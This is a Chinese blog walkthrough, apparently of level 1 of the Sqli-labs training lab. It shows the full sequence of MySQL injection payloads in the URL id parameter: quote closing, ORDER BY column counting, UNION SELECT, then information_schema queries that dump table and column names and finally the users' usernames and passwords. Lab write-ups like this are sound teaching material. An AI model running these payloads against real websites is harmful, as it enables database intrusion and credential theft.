Sqli-labs第一关

在搭建好环境后,我们先来到第一关

根据提示,它要我们输入ID作为数值参数,另外这是通过URL的GET类型注入,所以我们先输入?id=1 看看它正常的回显

这样我们就得到了它的一个正常的回显,那我们就开始尝试字符型注入,比如单引号,双引号等等

单引号它报错了,说明屏蔽了单引号

双引号回显正常

然后输入?id=1' or '1'='1 # 

我们就可以知道这是可以通过单引号闭合进行注入,那我们下一步就要知道它到底有几列

我们可以输入?id=1' order by 3 #,这个时候回显正常,说明列数大于3,这个数字可以自己改变,当到4就报错了

说明一共有三列,我们可以用联合查询来看它回显有效的是那几列,因为有的列不会回显出来,对于我们也没有什么用处

我们输入?id=-1' union select 1,2,3 #  我们让id等于-1是因为它在表中是不存在的,所以不会执行且显示出来,直接执行我们后面的语句,这样我们就知道了2,3是可以用的,那么接下来我们就要查询它目前所在的库,(mySQL的版本号也可以查询,有些时候会用到这些漏洞,这里暂时用不上)

我们将2改为database(),得到了目前所在的数据库是'security',接下来就要看库里面的表,然后我们注意到这只能显示一行出来,所以我们要用到group_concat(),把表全部输出出来,然后我们要知道我们的数据库表名存在information_schema这个里面

输入?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #    这样我们就知道里面的表名,然后过滤我们不需要的,我们只需要users这张表,然后再看users里面的列

输入?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #   然后我们看到里面有username和password,把里面内容得到就大功告成了

输入?id=-1' union select 1,group_concat(username),group_concat(password) from security.users # 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值